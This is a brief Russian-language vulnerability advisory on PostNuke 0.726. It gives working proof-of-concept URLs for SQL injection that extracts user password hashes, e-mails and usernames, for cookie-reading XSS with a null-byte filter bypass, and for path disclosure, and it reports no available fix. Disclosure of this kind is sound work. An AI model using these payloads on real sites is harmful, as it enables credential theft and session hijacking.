Несколько уязвимостей в PostNuke

Описание: Несколько уязвимостей обнаружено в PostNuke. Удаленный пользователь может внедрить SQL команды и выполнить XSS нападение. Удаленный пользователь может определить инсталляционный путь.

1. SQL инъекция:

http://localhost/postnuke0726/modules.php?op=mo dload&name=
NS-Polls&file=index&req=results&pollID=2&mode=thread&order=0
&thold=99999%20UNION%20SELECT%20null,null,null,null,pn_pass,pn_email,null,null,pn_uname,null,null ,null%20
FROM%20nuke_users%20WHERE%20pn_uid=2/*

http://localhost/postnuke0726/modules.php?op=modload&name=
NS-Polls&file=index&req=results&pollID=2&mode=thread&
order=ppp><s%00cript>alert(document.cookie);</s%00cript>ppp&thold=99


http://localhost/postnuke0726/modules.php?op=m odload&
name=NS-Polls&file=index&req=results&pollID=2&
mode=thread&order=ppp><body%20onload=alert(document.cookie);

http://localhost/postnuke0726/admin.php?module=Past_Nuke&op =deleteNotice

URL производителя:http://www.postnuke.com/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.